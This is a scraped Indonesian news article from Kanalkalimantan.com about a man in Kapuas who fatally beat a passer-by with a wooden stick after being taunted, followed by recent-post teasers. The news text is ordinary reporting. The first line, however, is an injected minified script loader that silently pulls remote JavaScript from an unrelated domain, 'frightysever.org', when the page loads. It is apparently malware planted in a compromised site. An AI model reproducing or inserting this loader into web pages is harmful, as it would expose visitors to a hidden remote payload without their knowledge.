(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Pukul Randy Pakai Kayu hingga Tewas, Korban Sempat Diseret Pakai Motor


KANALKALIMANTAN.COM, KUALA KAPUAS – Polres Kapuas pengungkapan kasus penganiayaan yang mengakibatkan hilangnya nyawa orang, Senin (23/5/2022).

Kapolres Kapuas AKBP Qori Wicaksono menyampaikan kejadian penganiayaan terjadi dilakukan tersangka As (28), warga Desa Penda Muntei, Kecamatan Kapuas Tengah, pada Minggu 15 Mei 2022 sekira pukul 21.00 WIB, memukul Randy, warga Desa Masaran Kecamatan Kapuas Tengah, Kabupaten Kapuas dengan sebatang kayu.

AKBP Qori Wicaksono menjelaskan bermula dari seringnya diejek orang-orang yang melintas di depan rumahnya, tersangka merasa kesal dengan ejekan tersebut, tersangka pun marah, dan tidak mengenal lagi orang yang mengejeknya. Kemudian melihat Rendy melintas di depan rumahnya, tersangka langsung menyerang korban dengan cara memukul kepala korban dengan menggunakan sebatang kayu bulat pada bagian wajah, hingga mengalami luka memar bagian dahi dan luka robek di bagian mulut. “Kemudian oleh tersangka, korban diseret bersama sepeda motor yang dikendarainya,” terang AKBP Qori Wicaksono.

Mengetahui hal itu, dengan dibantu warga, korban dibawa ke Rumah Sakit Dorys Silvanus Palangkaraya untuk mendapatkan perawatan medis. “Setelah satu hari di rumah sakit, korban dinyatakan meninggal dunia,” jelas Kapolres Kapuas.

 

 

Baca juga: Wabah PMK Mulai Dirasakan Pedagang Daging, DKP3: Virus Tidak Menular ke Manusia

Polsek Kapuas Tengah langsung mengamankan pelaku selanjutnya pelaku dibawa ke Mapolres Kapuas untuk diproses hukum lebih lanjut. Barang bukti yang digunakan yaitu sebatang kayu bulat.

”Adapun motif kejadian penganiayaan, pelaku menghabisi nyawa korban dikarenakan sakit hati, sering diolok-olok orang yang melintas di depan tempat tinggalnya,” kata Kapolres Kapuas.

 

Pasal yang dipersangkakan kepada pelaku adalah pasal 351 ayat 3 KUHPdengan ancaman hukuman penjara selama-lamanya 7 tahun. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.